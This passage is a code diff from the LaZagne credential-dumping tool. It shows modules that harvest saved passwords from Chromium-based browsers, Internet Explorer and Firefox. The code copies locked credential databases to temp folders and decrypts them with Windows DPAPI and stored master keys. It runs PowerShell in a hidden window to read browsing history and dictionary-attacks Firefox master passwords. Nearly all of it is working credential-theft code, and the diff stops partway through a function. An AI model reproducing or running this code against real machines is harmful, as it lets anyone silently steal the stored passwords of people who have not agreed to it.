if b'Yandex' in credman_password.get('URL', b''):
|
||||
if credman_password.get('Password'):
|
||||
yandex_enckey = credman_password.get('Password')
|
||||
self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
# Passwords could not be decrypted without encKey
|
||||
self.info('EncKey has not been retrieved')
|
||||
return []
|
||||
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(self.database_query)
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return credentials
|
||||
|
||||
for url, login, password in cursor.fetchall():
|
||||
try:
|
||||
# Yandex passwords use a masterkey stored on windows credential manager
|
||||
# https://yandex.com/support/browser-passwords-crypto/without-master.html
|
||||
if is_yandex and yandex_enckey:
|
||||
try:
|
||||
try:
|
||||
p = json.loads(str(password))
|
||||
except Exception:
|
||||
p = json.loads(password)
|
||||
|
||||
password = base64.b64decode(p['p'])
|
||||
except Exception:
|
||||
# New version does not use json format
|
||||
pass
|
||||
|
||||
# Passwords are stored using AES-256-GCM algorithm
|
||||
# The key used to encrypt is stored on the credential manager
|
||||
|
||||
# yandex_enckey:
|
||||
# - 4 bytes should be removed to be 256 bits
|
||||
# - these 4 bytes correspond to the nonce ?
|
||||
|
||||
# cipher = AES.new(yandex_enckey, AES.MODE_GCM)
|
||||
# plaintext = cipher.decrypt(password)
|
||||
# Failed...
|
||||
else:
|
||||
# Decrypt the Password
|
||||
try:
|
||||
password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
|
||||
user_dpapi=constant.user_dpapi)
|
||||
except AttributeError:
|
||||
try:
|
||||
password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
|
||||
user_dpapi=constant.user_dpapi)
|
||||
except:
|
||||
password_bytes = None
|
||||
|
||||
if password_bytes is not None:
|
||||
password = password_bytes.decode("utf-8")
|
||||
elif master_key:
|
||||
password = self._decrypt_v80(password, master_key)
|
||||
|
||||
if not url and not login and not password:
|
||||
continue
|
||||
|
||||
credentials.append((url, login, password))
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
conn.close()
|
||||
return credentials
|
||||
|
||||
def copy_db(self, database_path):
|
||||
"""
|
||||
Copying db will bypass lock errors
|
||||
Using user tempfile will produce an error when impersonating users (Permission denied)
|
||||
A public directory should be used if this error occured (e.g C:\\Users\\Public)
|
||||
"""
|
||||
random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])
|
||||
root_dir = [
|
||||
tempfile.gettempdir(),
|
||||
os.environ.get('PUBLIC', None),
|
||||
os.environ.get('SystemDrive', None) + '\\',
|
||||
]
|
||||
for r in root_dir:
|
||||
try:
|
||||
temp = os.path.join(r, random_name)
|
||||
shutil.copy(database_path, temp)
|
||||
self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))
|
||||
return temp
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return False
|
||||
|
||||
def clean_file(self, db_path):
|
||||
try:
|
||||
os.remove(db_path)
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
def run(self):
|
||||
credentials = []
|
||||
for database_path, master_key in self._get_database_dirs():
|
||||
is_yandex = False if 'yandex' not in database_path.lower() else True
|
||||
|
||||
# Remove Google Chrome false positif
|
||||
if database_path.endswith('Login Data-journal'):
|
||||
continue
|
||||
|
||||
self.debug('Database found: {db}'.format(db=database_path))
|
||||
|
||||
# Copy database before to query it (bypass lock errors)
|
||||
path = self.copy_db(database_path)
|
||||
if path:
|
||||
try:
|
||||
credentials.extend(self._export_credentials(path, is_yandex, master_key))
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
self.clean_file(path)
|
||||
|
||||
return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]
|
||||
|
||||
|
||||
# Name, path or a list of paths
|
||||
chromium_browsers = [
|
||||
(u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
|
||||
(u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
|
||||
(u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
|
||||
(u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
|
||||
(u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
|
||||
(u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
|
||||
(u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
|
||||
(u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
|
||||
(u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based
|
||||
(u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
|
||||
(u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
|
||||
(u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
|
||||
(u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
|
||||
(u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
|
||||
(u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
|
||||
(u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
|
||||
(u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
|
||||
(u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
|
||||
(u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
|
||||
(u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')
|
||||
]
|
||||
|
||||
chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]
|
196
lazagne/softwares/browsers/ie.py
Normal file
196
lazagne/softwares/browsers/ie.py
Normal file
@ -0,0 +1,196 @@
|
||||
import hashlib
|
||||
import subprocess
|
||||
import traceback
|
||||
|
||||
import lazagne.config.winstructure as win
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.constant import constant
|
||||
|
||||
try:
|
||||
import _subprocess as sub
|
||||
STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
|
||||
SW_HIDE = sub.SW_HIDE
|
||||
except ImportError:
|
||||
STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
|
||||
SW_HIDE = subprocess.SW_HIDE
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
|
||||
|
||||
class IE(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)
|
||||
|
||||
def get_hash_table(self):
|
||||
# get the url list
|
||||
urls = self.get_history()
|
||||
|
||||
# calculate the hash for all urls found on the history
|
||||
hash_tables = []
|
||||
for u in range(len(urls)):
|
||||
try:
|
||||
h = (urls[u] + '\0').encode('UTF-16LE')
|
||||
hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return hash_tables
|
||||
|
||||
def get_history(self):
|
||||
urls = self.history_from_regedit()
|
||||
try:
|
||||
urls = urls + self.history_from_powershell()
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
|
||||
'https://accounts.google.com/servicelogin']
|
||||
return urls
|
||||
|
||||
def history_from_powershell(self):
|
||||
# From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
|
||||
cmdline = '''
|
||||
function get-iehistory {
|
||||
[CmdletBinding()]
|
||||
param ()
|
||||
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$hist = $shell.NameSpace(34)
|
||||
$folder = $hist.Self
|
||||
|
||||
$hist.Items() |
|
||||
foreach {
|
||||
if ($_.IsFolder) {
|
||||
$siteFolder = $_.GetFolder
|
||||
$siteFolder.Items() |
|
||||
foreach {
|
||||
$site = $_
|
||||
|
||||
if ($site.IsFolder) {
|
||||
$pageFolder = $site.GetFolder
|
||||
$pageFolder.Items() |
|
||||
foreach {
|
||||
$visit = New-Object -TypeName PSObject -Property @{
|
||||
URL = $($pageFolder.GetDetailsOf($_,0))
|
||||
}
|
||||
$visit
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
get-iehistory
|
||||
'''
|
||||
command = ['powershell.exe', '/c', cmdline]
|
||||
info = subprocess.STARTUPINFO()
|
||||
info.dwFlags = STARTF_USESHOWWINDOW
|
||||
info.wShowWindow = SW_HIDE
|
||||
p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
|
||||
stdin=subprocess.PIPE, universal_newlines=True)
|
||||
results, _ = p.communicate()
|
||||
|
||||
urls = []
|
||||
for r in results.split('\n'):
|
||||
if r.startswith('http'):
|
||||
urls.append(r.strip())
|
||||
return urls
|
||||
|
||||
def history_from_regedit(self):
|
||||
urls = []
|
||||
try:
|
||||
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
return []
|
||||
|
||||
num = winreg.QueryInfoKey(hkey)[1]
|
||||
for x in range(0, num):
|
||||
k = winreg.EnumValue(hkey, x)
|
||||
if k:
|
||||
urls.append(k[1])
|
||||
winreg.CloseKey(hkey)
|
||||
return urls
|
||||
|
||||
def decipher_password(self, cipher_text, u):
|
||||
pwd_found = []
|
||||
# deciper the password
|
||||
pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user,
|
||||
user_dpapi=constant.user_dpapi)
|
||||
if not pwd:
|
||||
return []
|
||||
|
||||
separator = b"\x00\x00"
|
||||
if pwd.endswith(separator):
|
||||
pwd = pwd[: -len(separator)]
|
||||
|
||||
chunks_reversed = pwd.rsplit(separator)[::-1] # <pwd_n>, <login_n>, ..., <pwd_0>, <login_0>, <SOME_SERVICE_DATA_CHUNKS>
|
||||
|
||||
# Filter out service data
|
||||
possible_passwords = [x for n, x in enumerate(chunks_reversed) if n % 2 == 0]
|
||||
possible_logins = [x for n, x in enumerate(chunks_reversed) if n % 2 == 1]
|
||||
for possible_login, possible_password in zip(possible_logins, possible_passwords):
|
||||
# Service data starts with several blocks of "<2_bytes>\x00\x00<10_bytes>"
|
||||
if len(pwd_found) > 0 and len(possible_login) == 2 and len(possible_password) == 10:
|
||||
break
|
||||
|
||||
try:
|
||||
possible_login_str = possible_login.decode('UTF-16LE')
|
||||
possible_password_str = possible_password.decode('UTF-16LE')
|
||||
except UnicodeDecodeError:
|
||||
if len(pwd_found) > 0:
|
||||
# Some passwords have been found. Assume this is service data.
|
||||
break
|
||||
|
||||
# No passwords have been found. Assume login or password contains some chars which could not be decoded
|
||||
possible_login_str = str(possible_password)
|
||||
possible_password_str = str(possible_password)
|
||||
|
||||
pwd_found.append({
|
||||
'URL': u.decode('UTF-16LE'),
|
||||
'Login': possible_login_str,
|
||||
'Password': possible_password_str
|
||||
})
|
||||
|
||||
return pwd_found
|
||||
|
||||
def run(self):
|
||||
if float(win.get_os_version()) > 6.1:
|
||||
self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
|
||||
return
|
||||
|
||||
pwd_found = []
|
||||
try:
|
||||
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
else:
|
||||
nb_site = 0
|
||||
nb_pass_found = 0
|
||||
|
||||
# retrieve the urls from the history
|
||||
hash_tables = self.get_hash_table()
|
||||
|
||||
num = winreg.QueryInfoKey(hkey)[1]
|
||||
for x in range(0, num):
|
||||
k = winreg.EnumValue(hkey, x)
|
||||
if k:
|
||||
nb_site += 1
|
||||
for h in hash_tables:
|
||||
# both hash are similar, we can decipher the password
|
||||
if h[1] == k[0][:40].lower():
|
||||
nb_pass_found += 1
|
||||
cipher_text = k[1]
|
||||
pwd_found += self.decipher_password(cipher_text, h[0])
|
||||
break
|
||||
|
||||
winreg.CloseKey(hkey)
|
||||
|
||||
# manage errors
|
||||
if nb_site > nb_pass_found:
|
||||
self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
|
||||
u'passwords has not been found' % str(nb_site - nb_pass_found))
|
||||
|
||||
return pwd_found
|
576
lazagne/softwares/browsers/mozilla.py
Normal file
576
lazagne/softwares/browsers/mozilla.py
Normal file
@ -0,0 +1,576 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)
|
||||
# from https://github.com/lclevy/firepwd/blob/master/firepwd.py
|
||||
|
||||
import hmac
|
||||
import json
|
||||
import sqlite3
|
||||
import struct
|
||||
import sys
|
||||
import traceback
|
||||
import os
|
||||
|
||||
#from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.crypto.pyDes import triple_des, CBC
|
||||
from lazagne.config.crypto.pyaes import AESModeOfOperationCBC
|
||||
from lazagne.config.dico import get_dic
|
||||
from lazagne.config.constant import constant
|
||||
from pyasn1.codec.der import decoder
|
||||
from binascii import unhexlify
|
||||
from base64 import b64decode
|
||||
#from lazagne.config.winstructure import char_to_int, convert_to_byte
|
||||
from hashlib import sha1, pbkdf2_hmac
|
||||
import logging
|
||||
|
||||
try:
|
||||
from ConfigParser import RawConfigParser # Python 2.7
|
||||
except ImportError:
|
||||
from configparser import RawConfigParser # Python 3
|
||||
|
||||
if sys.version_info[0]:
|
||||
python_version = sys.version_info[0]
|
||||
|
||||
def l(n):
|
||||
try:
|
||||
return long(n)
|
||||
except NameError:
|
||||
return int(n)
|
||||
|
||||
|
||||
CKA_ID = unhexlify('f8000000000000000000000000000001')
|
||||
AES_BLOCK_SIZE = 16
|
||||
def char_to_int(value):
|
||||
return ord(value)
|
||||
|
||||
def convert_to_byte(mystring):
|
||||
return bytes(mystring, 'utf-8')
|
||||
|
||||
def long_to_bytes(n, blocksize=0):
|
||||
"""long_to_bytes(n:long, blocksize:int) : string
|
||||
Convert a long integer to a byte string.
|
||||
If optional blocksize is given and greater than zero, pad the front of the
|
||||
byte string with binary zeros so that the length is a multiple of
|
||||
blocksize.
|
||||
"""
|
||||
# after much testing, this algorithm was deemed to be the fastest
|
||||
s = convert_to_byte('')
|
||||
n = l(n)
|
||||
while n > 0:
|
||||
s = struct.pack('>I', n & 0xffffffff) + s
|
||||
n = n >> 32
|
||||
|
||||
# strip off leading zeros
|
||||
for i in range(len(s)):
|
||||
if s[i] != convert_to_byte('\000')[0]:
|
||||
break
|
||||
else:
|
||||
# only happens when n == 0
|
||||
s = convert_to_byte('\000')
|
||||
i = 0
|
||||
s = s[i:]
|
||||
# add back some pad bytes. this could be done more efficiently w.r.t. the
|
||||
# de-padding being done above, but sigh...
|
||||
if blocksize > 0 and len(s) % blocksize:
|
||||
s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s
|
||||
|
||||
return s
|
||||
|
||||
|
||||
class Mozilla():
|
||||
#Removing ModuleInfo reference to support on linux system
|
||||
#
|
||||
def __init__(self, browser_name, path,logger=logging):
|
||||
self.path = path
|
||||
self.logging=logger
|
||||
#ModuleInfo.__init__(self, browser_name, category='browsers')
|
||||
# Removing ModuleInfo reference to support on linux system
|
||||
self.name = browser_name
|
||||
self.category = 'browsers'
|
||||
self.debug(f'Mozilla For {self.name} - {self.path}')
|
||||
|
||||
def error(self, message):
|
||||
self.logging.error(message)
|
||||
|
||||
def info(self, message):
|
||||
self.logging.info(message)
|
||||
|
||||
def debug(self, message):
|
||||
self.logging.debug(message)
|
||||
|
||||
def warning(self, message):
|
||||
self.logging.warning(message)
|
||||
|
||||
def get_firefox_profiles(self, directory):
|
||||
"""
|
||||
List all profiles
|
||||
"""
|
||||
cp = RawConfigParser()
|
||||
profile_list = []
|
||||
|
||||
try:
|
||||
cp.read(os.path.join(directory, 'profiles.ini'))
|
||||
for section in cp.sections():
|
||||
if section.startswith('Profile') and cp.has_option(section, 'Path'):
|
||||
profile_path = None
|
||||
|
||||
if cp.has_option(section, 'IsRelative'):
|
||||
if cp.get(section, 'IsRelative') == '1':
|
||||
profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
|
||||
elif cp.get(section, 'IsRelative') == '0':
|
||||
profile_path = cp.get(section, 'Path').strip()
|
||||
|
||||
else: # No "IsRelative" in profiles.ini
|
||||
profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
|
||||
|
||||
if profile_path:
|
||||
#profile_path = profile_path.replace('/', '\\')
|
||||
profile_list.append(profile_path)
|
||||
|
||||
except Exception as e:
|
||||
self.error(u'An error occurred while reading profiles.ini: {}'.format(e))
|
||||
return profile_list
|
||||
|
||||
def get_key(self, profile):
|
||||
"""
|
||||
Get main key used to encrypt all data (user / password).
|
||||
Depending on the Firefox version, could be stored in key3.db or key4.db file.
|
||||
"""
|
||||
try:
|
||||
row = None
|
||||
# Remove error when file is empty
|
||||
with open(os.path.join(profile, 'key4.db'), 'rb') as f:
|
||||
content = f.read()
|
||||
|
||||
if content:
|
||||
conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
|
||||
c = conn.cursor()
|
||||
# First check password
|
||||
c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
|
||||
try:
|
||||
row = c.next() # Python 2
|
||||
except Exception:
|
||||
row = next(c) # Python 3
|
||||
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
else:
|
||||
if row:
|
||||
(global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row)
|
||||
|
||||
if global_salt:
|
||||
try:
|
||||
# Decrypt 3DES key to decrypt "logins.json" content
|
||||
c.execute("SELECT a11,a102 FROM nssPrivate;")
|
||||
for row in c:
|
||||
if row[0]:
|
||||
break
|
||||
|
||||
a11 = row[0] # CKA_VALUE
|
||||
a102 = row[1] # f8000000000000000000000000000001, CKA_ID
|
||||
|
||||
if python_version == 2:
|
||||
a102 = str(a102)
|
||||
|
||||
if a102 == CKA_ID:
|
||||
# a11 : CKA_VALUE
|
||||
# a102 : f8000000000000000000000000000001, CKA_ID
|
||||
# self.print_asn1(a11, len(a11), 0)
|
||||
# SEQUENCE {
|
||||
# SEQUENCE {
|
||||
# OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
|
||||
# SEQUENCE {
|
||||
# OCTETSTRING entry_salt_for_3des_key
|
||||
# INTEGER 01
|
||||
# }
|
||||
# }
|
||||
# OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)
|
||||
# }
|
||||
decoded_a11 = decoder.decode(a11)
|
||||
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
|
||||
if key:
|
||||
self.debug(u'key: {key}'.format(key=repr(key)))
|
||||
yield key[:24]
|
||||
# else:
|
||||
# Nothing saved
|
||||
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
try:
|
||||
key3_file = os.path.join(profile, 'key3.db')
|
||||
if os.path.exists(key3_file):
|
||||
key_data = self.read_bsddb(key3_file)
|
||||
# Check masterpassword
|
||||
(global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'',
|
||||
key_data=key_data,
|
||||
new_version=False)
|
||||
if global_salt:
|
||||
key = self.extract_secret_key(key_data=key_data,
|
||||
global_salt=global_salt,
|
||||
master_password=master_password,
|
||||
entry_salt=entry_salt)
|
||||
if key:
|
||||
self.debug(u'key: {key}'.format(key=repr(key)))
|
||||
yield key[:24]
|
||||
except Exception:
|
||||
self.debug(traceback.format_exc())
|
||||
|
||||
@staticmethod
|
||||
def get_short_le(d, a):
|
||||
return struct.unpack('<H', d[a:a + 2])[0]
|
||||
|
||||
@staticmethod
|
||||
def get_long_be(d, a):
|
||||
return struct.unpack('>L', d[a:a + 4])[0]
|
||||
|
||||
def print_asn1(self, d, l, rl):
|
||||
"""
|
||||
Used for debug
|
||||
"""
|
||||
type_ = char_to_int(d[0])
|
||||
length = char_to_int(d[1])
|
||||
if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html,
|
||||
# nByteLength = length & 0x7f
|
||||
length = char_to_int(d[2])
|
||||
# Long form. Two to 127 octets. Bit 8 of first octet has value "1" and
|
||||
# bits 7-1 give the number of additional length octets.
|
||||
skip = 1
|
||||
else:
|
||||
skip = 0
|
||||
|
||||
if type_ == 0x30:
|
||||
seq_len = length
|
||||
read_len = 0
|
||||
while seq_len > 0:
|
||||
len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)
|
||||
seq_len = seq_len - len2
|
||||
read_len = read_len + len2
|
||||
return length + 2
|
||||
elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER
|
||||
return length + 2
|
||||
elif length == l - 2:
|
||||
self.print_asn1(d[2:], length, rl + 1)
|
||||
return length
|
||||
|
||||
def read_bsddb(self, name):
|
||||
"""
|
||||
Extract records from a BSD DB 1.85, hash mode
|
||||
Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used
|
||||
"""
|
||||
with open(name, 'rb') as f:
|
||||
# http://download.oracle.com/berkeley-db/db.1.85.tar.gz
|
||||
header = f.read(4 * 15)
|
||||
magic = self.get_long_be(header, 0)
|
||||
if magic != 0x61561:
|
||||
self.warning(u'Bad magic number')
|
||||
return False
|
||||
|
||||
version = self.get_long_be(header, 4)
|
||||
if version != 2:
|
||||
self.warning(u'Bad version !=2 (1.85)')
|
||||
return False
|
||||
|
||||
pagesize = self.get_long_be(header, 12)
|
||||
nkeys = self.get_long_be(header, 0x38)
|
||||
readkeys = 0
|
||||
page = 1
|
||||
db1 = []
|
||||
|
||||
while readkeys < nkeys:
|
||||
f.seek(pagesize * page)
|
||||
offsets = f.read((nkeys + 1) * 4 + 2)
|
||||
offset_vals = []
|
||||
i = 0
|
||||
nval = 0
|
||||
val = 1
|
||||
keys = 0
|
||||
|
||||
while nval != val:
|
||||
keys += 1
|
||||
key = self.get_short_le(offsets, 2 + i)
|
||||
val = self.get_short_le(offsets, 4 + i)
|
||||
nval = self.get_short_le(offsets, 8 + i)
|
||||
offset_vals.append(key + pagesize * page)
|
||||
offset_vals.append(val + pagesize * page)
|
||||
readkeys += 1
|
||||
i += 4
|
||||
|
||||
offset_vals.append(pagesize * (page + 1))
|
||||
val_key = sorted(offset_vals)
|
||||
for i in range(keys * 2):
|
||||
f.seek(val_key[i])
|
||||
data = f.read(val_key[i + 1] - val_key[i])
|
||||
db1.append(data)
|
||||
page += 1
|
||||
|
||||
db = {}
|
||||
for i in range(0, len(db1), 2):
|
||||
db[db1[i + 1]] = db1[i]
|
||||
|
||||
return db
|
||||
|
||||
@staticmethod
|
||||
def decrypt_3des(decoded_item, master_password, global_salt):
|
||||
"""
|
||||
User master key is also encrypted (if provided, the master_password could be used to encrypt it)
|
||||
"""
|
||||
# See http://www.drh-consultancy.demon.co.uk/key3.html
|
||||
pbeAlgo = str(decoded_item[0][0][0])
|
||||
if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC
|
||||
entry_salt = decoded_item[0][0][1][0].asOctets()
|
||||
cipher_t = decoded_item[0][1].asOctets()
|
||||
|
||||
# See http://www.drh-consultancy.demon.co.uk/key3.html
|
||||
hp = sha1(global_salt + master_password).digest()
|
||||
pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
|
||||
chp = sha1(hp + entry_salt).digest()
|
||||
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
|
||||
tk = hmac.new(chp, pes, sha1).digest()
|
||||
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
|
||||
k = k1 + k2
|
||||
iv = k[-8:]
|
||||
key = k[:24]
|
||||
return triple_des(key, CBC, iv).decrypt(cipher_t)
|
||||
|
||||
# New version
|
||||
elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2
|
||||
|
||||
assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'
|
||||
assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'
|
||||
assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'
|
||||
# https://tools.ietf.org/html/rfc8018#page-23
|
||||
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
|
||||
iteration_count = int(decoded_item[0][0][1][0][1][1])
|
||||
key_length = int(decoded_item[0][0][1][0][1][2])
|
||||
assert key_length == 32
|
||||
|
||||
k = sha1(global_salt + master_password).digest()
|
||||
key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)
|
||||
|
||||
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
|
||||
iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets()
|
||||
# 04 is OCTETSTRING, 0x0e is length == 14
|
||||
encrypted_value = decoded_item[0][1].asOctets()
|
||||
aes = AESModeOfOperationCBC(key, iv=iv)
|
||||
cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])
|
||||
for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])
|
||||
|
||||
return cleartxt
|
||||
|
||||
def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):
|
||||
|
||||
if unhexlify('f8000000000000000000000000000001') not in key_data:
|
||||
return None
|
||||
|
||||
priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]
|
||||
salt_len = char_to_int(priv_key_entry[1])
|
||||
name_len = char_to_int(priv_key_entry[2])
|
||||
priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])
|
||||
# data = priv_key_entry[3 + salt_len + name_len:]
|
||||
# self.print_asn1(data, len(data), 0)
|
||||
|
||||
# See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt
|
||||
priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt)
|
||||
# self.print_asn1(priv_key, len(priv_key), 0)
|
||||
priv_key_asn1 = decoder.decode(priv_key)
|
||||
pr_key = priv_key_asn1[0][2].asOctets()
|
||||
# self.print_asn1(pr_key, len(pr_key), 0)
|
||||
pr_key_asn1 = decoder.decode(pr_key)
|
||||
# id = pr_key_asn1[0][1]
|
||||
key = long_to_bytes(pr_key_asn1[0][3])
|
||||
return key
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode
|
||||
# For login and password, keep :(key_id, iv, ciphertext)
|
||||
return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()
|
||||
|
||||
def get_login_data(self, profile):
|
||||
"""
|
||||
Get encrypted data (user / password) and host from the json or sqlite files
|
||||
"""
|
||||
logins = []
|
||||
self.debug(f'PROFIL {profile}')
|
||||
try:
|
||||
conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))
|
||||
|
||||
c = conn.cursor()
|
||||
|
||||
c.execute('SELECT * FROM moz_logins;')
|
||||
|
||||
# Using sqlite3 database
|
||||
for row in c:
|
||||
enc_username = row[6]
|
||||
enc_password = row[7]
|
||||
logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))
|
||||
return logins
|
||||
except :#sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3
|
||||
self.debug(f'Got sqlite Exception')
|
||||
try:
|
||||
logins_json = os.path.join(profile, 'logins.json')
|
||||
if os.path.isfile(logins_json):
|
||||
with open(logins_json) as f:
|
||||
loginf = f.read()
|
||||
if loginf:
|
||||
json_logins = json.loads(loginf)
|
||||
if 'logins' not in json_logins:
|
||||
self.debug('No logins key in logins.json')
|
||||
return logins
|
||||
for row in json_logins['logins']:
|
||||
enc_username = row['encryptedUsername']
|
||||
enc_password = row['encryptedPassword']
|
||||
self.debug(f'Found {enc_username} - {enc_password}')
|
||||
logins.append((self.decode_login_data(enc_username),
|
||||
self.decode_login_data(enc_password), row['hostname']))
|
||||
self.debug(f'{logins}')
|
||||
return logins
|
||||
else:
|
||||
self.debug(f'No loginf')
|
||||
else:
|
||||
self.debug(f'logins.json {logins_json} not found')
|
||||
except Exception:
|
||||
self.debug("Exception in GetLoign")
|
||||
self.debug(traceback.format_exc())
|
||||
return []
|
||||
return logins
|
||||
|
||||
def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True):
|
||||
"""
|
||||
Check if a master password is set.
|
||||
If so, try to find it using a dictionary attack
|
||||
"""
|
||||
(global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,
|
||||
key_data=key_data,
|
||||
new_version=new_version)
|
||||
|
||||
if not global_salt:
|
||||
self.info(u'Master Password is used !')
|
||||
(global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,
|
||||
new_version=new_version)
|
||||
if not master_password:
|
||||
return '', '', ''
|
||||
|
||||
return global_salt, master_password, entry_salt
|
||||
|
||||
def is_master_password_correct(self, key_data, master_password=b'', new_version=True):
|
||||
try:
|
||||
entry_salt = b""
|
||||
if not new_version:
|
||||
# See http://www.drh-consultancy.demon.co.uk/key3.html
|
||||
pwd_check = key_data.get(b'password-check')
|
||||
if not pwd_check:
|
||||
return '', '', ''
